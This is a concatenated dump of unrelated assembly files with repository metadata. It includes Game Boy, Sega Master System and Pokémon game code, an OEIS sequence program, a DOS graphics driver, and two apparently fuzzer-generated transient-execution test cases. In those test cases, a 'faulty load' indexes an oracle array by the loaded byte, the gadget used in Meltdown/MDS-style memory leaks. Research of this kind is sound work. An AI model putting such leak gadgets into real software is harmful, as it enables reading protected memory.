; ================ section "Gallery routines",rom0 GM_Gallery: call ClearScreen ldfar hl,GalleryTiles ld de,$8000 call DecodeWLE ld hl,GalleryMap ld de,sys_TilemapBuffer call DecodeWLE ld hl,sys_TilemapBuffer call LoadTilemapScreen ld a,1 ldh [rVBK],a ld hl,GalleryAttr ld de,sys_TilemapBuffer call DecodeWLE ld hl,sys_TilemapBuffer call LoadTilemapScreen xor a ldh [rVBK],a ldfar hl,Pal_Gallery ld b,6 xor a : push af push bc call LoadPal pop bc pop af inc a dec b jr nz,:- call ConvertPals call PalFadeInWhite call UpdatePalettes ld a,LCDCF_ON | LCDCF_BG8000 | LCDCF_BGON ldh [rLCDC],a ld a,IEF_VBLANK ldh [rIE],a ei .loop halt ld a,[sys_btnPress] and a ; are any buttons pressed? jr nz,:+ jr .loop : call PalFadeOutWhite : halt ld a,[sys_FadeState] bit 0,a jr nz,:- xor a ldh [rLCDC],a jp GM_TitleAndMenus ; ================ section "Gallery GFX",romx GalleryTiles: incbin "GFX/Screens/NYI.2bpp.wle" GalleryMap: incbin "GFX/Screens/NYI.til.wle" GalleryAttr: incbin "GFX/Screens/NYI.atr.wle" Pal_Gallery: incbin "GFX/Screens/NYI.pal" section "Gallery text",romx GalleryText_Help1: string "L/R - Select" GalleryText_Help2: string "SEL - Hide text" GalleryText_Help3: string "B - Exit" GalleryText_Title1_Name: string "Title screen 1" GalleryText_Title2_Name: string "Title screen 2" GalleryText_TitleCard_Name: string "Title card" GalleryText_City1_Name: string "City concept 1" GalleryText_City2_Name: string "City concept 2" GalleryText_Boss2_Name: string "City boss concept" GalleryText_Title1_Desc: string "A proposed title screen image by Twoflower. This was used as the basis for the demo's title screen." GalleryText_Title2_Desc: string "A second proposed title screen image by Twoflower. This design was eventually rejected." GalleryText_TitleCard_Desc: string "Concept for a title card by DevEd. This didn't make it into the demo due to time constraints." GalleryText_City1_Desc: string "Proposed design for the second world, Central City, by Twoflower. The second world was cut from the demo due to time constraints." GalleryText_City2_Desc: string "Another proposed design for the city level by DevEd." GalleryText_Boss2_Desc: string "Sketch of Central City's boss, \"The Don\", by DevEd. Medium: Ink on paper." section "Gallery GFX - Title concept 1",romx Gallery_Title1Tiles: incbin "GFX/ConceptArt/TitleConcept1.2bpp.wle" Gallery_Title1Map: incbin "GFX/ConceptArt/TitleConcept1.til.wle" Gallery_Title1Attr: incbin "GFX/ConceptArt/TitleConcept1.atr.wle" Pal_Gallery_Title1: incbin "GFX/ConceptArt/TitleConcept1.pal" section "Gallery GFX - Title concept 2",romx Gallery_Title2Tiles: incbin "GFX/ConceptArt/TitleConcept2.2bpp.wle" Gallery_Title2Map: incbin "GFX/ConceptArt/TitleConcept2.til.wle" Gallery_Title2Attr: incbin "GFX/ConceptArt/TitleConcept2.atr.wle" Pal_Gallery_Title2: incbin "GFX/ConceptArt/TitleConcept2.pal" section "Gallery GFX - Title card",romx Gallery_TitleCardTiles: incbin "GFX/ConceptArt/TitleCardConcept.2bpp.wle" Gallery_TitleCardMap: incbin "GFX/ConceptArt/TitleCardConcept.til.wle" Gallery_TitleCardAttr: incbin "GFX/ConceptArt/TitleCardConcept.atr.wle" Pal_Gallery_TitleCard: incbin "GFX/ConceptArt/TitleCardConcept.pal" section "Gallery GFX - City mockup 1",romx Gallery_City1Tiles: incbin "GFX/ConceptArt/CityConcept1.2bpp.wle" Gallery_City1Map: incbin "GFX/ConceptArt/CityConcept1.til.wle" Gallery_City1Attr: incbin "GFX/ConceptArt/CityConcept1.atr.wle" Pal_Gallery_City1: incbin "GFX/ConceptArt/CityConcept1.pal" section "Gallery GFX - City mockup 2",romx Gallery_City2Tiles: incbin "GFX/ConceptArt/CityConcept2.2bpp.wle" Gallery_City2Map: incbin "GFX/ConceptArt/CityConcept2.til.wle" Gallery_City2Attr: incbin "GFX/ConceptArt/CityConcept2.atr.wle" Pal_Gallery_City2: incbin "GFX/ConceptArt/CityConcept2.pal" section "Gallery GFX - City boss",romx Gallery_Boss2Tiles: incbin "GFX/ConceptArt/World2Boss.2bpp.wle" Gallery_Boss2Map: incbin "GFX/ConceptArt/World2Boss.til.wle" Gallery_Boss2Attr: incbin "GFX/ConceptArt/World2Boss.atr.wle" Pal_Gallery_Boss2: incbin "GFX/ConceptArt/World2Boss.pal"
34.832061
167
0.713566
96e5b3a153f72a059aa5a3b4a04221d87eedcbe8
8,094
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_424.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_424.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_424.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1e8a9, %r15 nop cmp $49137, %r11 movl $0x61626364, (%r15) nop nop inc %r15 lea addresses_WC_ht+0x11ea9, %rsi nop nop lfence mov $0x6162636465666768, %r15 movq %r15, %xmm6 movups %xmm6, (%rsi) cmp %rbx, %rbx lea addresses_A_ht+0xfa91, %rbx nop cmp %rbp, %rbp mov $0x6162636465666768, %r15 movq %r15, (%rbx) nop nop inc %rsi lea addresses_UC_ht+0xf269, %r15 clflush (%r15) nop nop nop add $44799, %rax mov $0x6162636465666768, %rbx movq %rbx, (%r15) and $53281, %rax lea addresses_D_ht+0x11709, %rbx clflush (%rbx) nop nop add $50836, %rax movb $0x61, (%rbx) nop mfence lea addresses_normal_ht+0x124a9, %rbx nop dec %rax movl $0x61626364, (%rbx) sub %rbx, %rbx lea addresses_WT_ht+0x13ca9, %rsi lea addresses_UC_ht+0x9181, %rdi clflush (%rsi) inc %rax mov $126, %rcx rep movsb dec %rcx lea addresses_UC_ht+0x5aa9, %rsi lea addresses_D_ht+0x11529, %rdi nop nop sub %r11, %r11 mov $72, %rcx rep movsb nop nop sub %rbx, %rbx lea addresses_UC_ht+0x5a9, %rbp nop nop inc %rcx mov $0x6162636465666768, %rax movq %rax, %xmm0 vmovups %ymm0, (%rbp) nop nop xor %rax, %rax lea addresses_UC_ht+0x10629, %rbx nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm0 movups %xmm0, (%rbx) nop cmp $33758, %r11 lea addresses_UC_ht+0xda19, %rcx nop nop dec %rax mov (%rcx), %di sub $48745, %r11 lea addresses_A_ht+0x810d, %rsi lea addresses_WT_ht+0x1229, %rdi nop nop nop xor %r11, %r11 mov $11, %rcx rep movsw nop nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0x4ca9, %rsi lea addresses_normal_ht+0x110c9, %rdi nop and %rbx, %rbx mov $41, %rcx rep movsw nop nop nop dec %r11 lea addresses_WT_ht+0x489, %rsi lea addresses_WT_ht+0x18ca9, %rdi nop nop nop add $9741, %rbp mov $81, %rcx rep movsq cmp $12959, %rcx lea addresses_WC_ht+0x1ed0f, %rsi lea addresses_WT_ht+0xfe89, %rdi clflush (%rdi) nop nop nop nop nop xor %rbp, %rbp mov $78, %rcx rep movsw nop add $26552, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r15 push %r8 push %rdi // Store lea addresses_RW+0x80a9, %rdi nop sub $55773, %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovups %ymm2, (%rdi) nop nop nop nop nop cmp $61038, %r8 // Faulty Load lea addresses_RW+0x80a9, %r13 nop nop nop nop nop sub $31042, %r15 movb (%r13), %r8b lea oracles, %r11 and $0xff, %r8 shlq $12, %r8 mov (%r11,%r8,1), %r8 pop %rdi pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
35.656388
2,999
0.659748
cd1f802f97310d71400d8a1868b51572a1235d98
636
asm
Assembly
programs/oeis/177/A177176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/177/A177176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/177/A177176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A177176: Partial sums of round(n^2/13). ; 0,0,0,1,2,4,7,11,16,22,30,39,50,63,78,95,115,137,162,190,221,255,292,333,377,425,477,533,593,658,727,801,880,964,1053,1147,1247,1352,1463,1580,1703,1832,1968,2110,2259,2415,2578,2748,2925,3110,3302,3502,3710,3926,4150,4383,4624,4874,5133,5401,5678,5964,6260,6565,6880,7205,7540,7885,8241,8607,8984,9372,9771,10181,10602,11035,11479,11935,12403,12883,13375,13880,14397,14927,15470,16026,16595,17177,17773,18382,19005,19642,20293,20958,21638,22332,23041,23765,24504,25258 mov $3,$0 add $3,1 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 pow $0,2 add $0,4 div $0,13 add $1,$0 lpe mov $0,$1
39.75
471
0.718553
04d795b60f964af13620920507a25c9224d92093
151
asm
Assembly
audio/sfx/swap_3.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/sfx/swap_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/sfx/swap_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SFX_Swap_3_Ch4: duty 2 squarenote 8, 14, 1, 1856 endchannel SFX_Swap_3_Ch5: duty 2 squarenote 2, 0, 8, 0 squarenote 8, 11, 1, 1857 endchannel
12.583333
26
0.715232
cf8b8bc23dd330a02f76e11526ee0a883bb570c2
231
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_VDPturnOnFeature_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_VDPturnOnFeature_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_VDPturnOnFeature_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void SMS_VDPturnOnFeature(unsigned int feature) SECTION code_clib SECTION code_SMSlib PUBLIC _SMS_VDPturnOnFeature_fastcall EXTERN asm_SMSlib_VDPturnOnFeature defc _SMS_VDPturnOnFeature_fastcall = asm_SMSlib_VDPturnOnFeature
21
65
0.891775
c30e167a345adc5f77b77dd29a5fcc6b209394de
6,984
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x17359, %rdx nop nop nop nop nop cmp %r14, %r14 movb (%rdx), %r10b nop dec %r8 lea addresses_UC_ht+0x6bfe, %r13 nop nop nop nop dec %r11 mov $0x6162636465666768, %r14 movq %r14, %xmm3 movups %xmm3, (%r13) and $30238, %r10 lea addresses_D_ht+0x142d9, %r13 nop nop inc %rdi movups (%r13), %xmm0 vpextrq $0, %xmm0, %rdx nop nop sub %r10, %r10 lea addresses_A_ht+0x1443c, %rsi lea addresses_D_ht+0x3c99, %rdi and $47490, %r10 mov $37, %rcx rep movsq nop nop nop nop cmp %rcx, %rcx lea addresses_normal_ht+0xcb59, %r11 nop nop cmp %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm7 and $0xffffffffffffffc0, %r11 movaps %xmm7, (%r11) nop nop nop nop inc %r13 lea addresses_normal_ht+0x1419, %r11 nop nop nop cmp $32499, %r10 movl $0x61626364, (%r11) nop nop nop cmp %rcx, %rcx lea addresses_A_ht+0x13b19, %rdx nop nop nop nop nop sub %r8, %r8 mov (%rdx), %r14w and %rdi, %rdi lea addresses_normal_ht+0x6871, %r11 nop cmp %rcx, %rcx mov $0x6162636465666768, %rdx movq %rdx, (%r11) nop nop nop inc %r11 lea addresses_WC_ht+0x7499, %r13 nop lfence movups (%r13), %xmm1 vpextrq $1, %xmm1, %rdx xor %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi // Store lea addresses_PSE+0x1099, %r11 cmp %r8, %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm6 movups %xmm6, (%r11) nop nop nop nop nop add $8725, %r9 // Store lea addresses_WT+0x2c99, %rcx nop nop nop nop nop and %r15, %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm0 movups %xmm0, (%rcx) nop nop nop nop nop cmp %r11, %r11 // Store lea addresses_A+0x2719, %r11 nop nop nop nop add $13886, %r15 movw $0x5152, (%r11) and $40150, %rdi // Faulty Load lea addresses_RW+0x499, %r15 nop nop cmp $1437, %r9 movb (%r15), %cl lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A', 'congruent': 7}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 6}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 10}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
34.746269
2,999
0.65693
1bc46d2cce84898c7cc5a06b8ec3ad5b2ffe0560
11,719
asm
Assembly
src/graphics/msdos/pccga.asm
SimonKagstrom/sarien-j2me
a20a3143454dd2e69dde11a086e907012b1372c7
[ "Naumen", "Condor-1.1", "MS-PL" ]
2
2016-06-04T23:53:24.000Z
2021-04-25T14:46:32.000Z
src/graphics/msdos/pccga.asm
SimonKagstrom/sarien-j2me
a20a3143454dd2e69dde11a086e907012b1372c7
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
src/graphics/msdos/pccga.asm
SimonKagstrom/sarien-j2me
a20a3143454dd2e69dde11a086e907012b1372c7
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
;========================================================================= ; ; Sarien - A Sierra AGI resource interpreter engine ; Copyright (C) 1999-2001 Stuart George and Claudio Matsuoka ; ; $Id: pccga.asm,v 1.4 2002/07/27 12:17:15 cmatsuoka Exp $ ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation; see docs/COPYING for further details. ; ;========================================================================= DGROUP group _DATA,_BSS assume cs:PCCGA_TEXT,ds:DGROUP _DATA segment word public 'DATA' d@ label byte d@w label word _DATA ends _BSS segment word public 'BSS' b@ label byte b@w label word _BSS ends ;========================================================================= ; Data ;========================================================================= _DATA segment word public 'DATA' gfx_pccga label word dd pc_init_vidmode dd pc_deinit_vidmode dd pc_put_block dd pc_put_pixels dd 